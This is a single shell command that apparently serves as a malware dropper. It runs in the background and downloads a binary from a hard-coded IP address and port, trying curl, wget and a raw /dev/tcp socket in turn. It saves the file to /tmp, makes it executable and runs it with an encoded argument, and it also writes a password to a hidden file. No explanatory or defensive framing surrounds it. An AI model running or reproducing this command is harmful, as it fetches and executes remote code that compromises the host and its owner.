nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/ACK3dJmgO6; if [ ! -f /tmp/ACK3dJmgO6 ]; then wget http://129.144.180.26:60107/linux -O /tmp/ACK3dJmgO6; fi; if [ ! -f /tmp/ACK3dJmgO6 ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/ACK3dJmgO6 && chmod +x /tmp/ACK3dJmgO6 && /tmp/ACK3dJmgO6 nc8NdOzvXvBs6u3/5+/ieP5d7PF0Gd7i6cEId/bz[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/ACK3dJmgO6 && /tmp/ACK3dJmgO6 nc8NdOzvXvBs6u3/5+/ieP5d7PF0Gd7i6cEId/bz[...]" &#UPX!